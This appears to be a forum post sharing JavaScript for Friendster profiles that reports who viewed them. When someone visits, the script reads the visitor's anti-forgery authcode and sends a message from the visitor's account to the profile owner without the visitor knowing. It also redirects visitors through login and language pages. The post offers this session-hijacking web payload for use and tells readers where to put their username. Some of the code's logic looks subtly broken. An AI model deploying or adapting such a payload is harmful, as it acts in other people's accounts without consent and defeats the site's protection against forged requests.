From feruzz :]]

Note: this trick will only compatible with the Quick comment ajax(V.1.5)w/ smiles

When someone visited your profile they will automatically send a message to your profile

Preview: just go to http://www.friendster.com/messages.php to see who is viewed your profile

the code >>

Code:

(function(){
    un='USERNAME HERE';
    win=window;
    lh=(loc=location).hostname;
    oi=pageOwnerID;
    vi=pageViewerID;
    dm='http://www.friendster.com';
    AUTH='';
    msg=null;
    if(!!vi||(vi.indexOf('')<0)){
        if(lh.indexOf('profiles.friendster')>-1){
            win.loc.href=[dm,'/setlang.php?lang=en-US&updatelang=1&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join('');
        }else{
            aUTH=function(d){
                var c,f;
                c=/authcode"\s*value="([\da-z]*?)"/;
                f=new RegExp(c).exec(d);
                AUTH=f?f[1]:'';
                try{
                    return c;
                }finally{
                    c=null;
                }
            };
            sendSmile=function(m){
                var a,b,c,d,e;
                a=win.XMLHttpRequest?new XMLHttpRequest():new ActiveXObject('MSXML2.XMLHTTP');
                e=500-m.length;
                b=['&_submitted=1&inputcount=',e,'&uid=',oi,'&message=',encodeURIComponent(m),'&authcode=',AUTH].join('');
                c='application/x-www-form-urlencoded'+('UTF-8'?';charset='+'UTF-8':'');
                d=b?b.length:0;
                a.open('POST','/sendmessage.php?action=sendsmile',true);
                a.setRequestHeader('Content-type',c);
                a.setRequestHeader('Content-length',d);
                if(a.overrideMimeType&&(navigator.userAgent.match(/Gecko\/(\d{4})/)||[0,2005])[1]<2005){
                    a.setRequestHeader('Connection','close');
                }
                a.send(b);
            };
            if(vi.indexOf(oi)<0){
                sendXMLHttpRequestText(['/sendmessage.php?uid=',oi].join(''),'aUTH');
                window.addEvent('domready',function(){
                    if(!msg){
                        msg=new sendSmile('I viewed your profile');
                    }
                });
            }
  }
    }else if(!vi){
  win.loc.href=[dm,'/login.php?next=',encodeURIComponent(dm,'/setlang.php?lang=en-US&updatelang=1'),'&next=',encodeURIComponent([dm,'/profiles/',un].join('')),'&cookie=1'].join('');
    }
})();

Put your username at USERNAME HERE part & also you can edit a message at the bottom of this code ('I viewed your profile')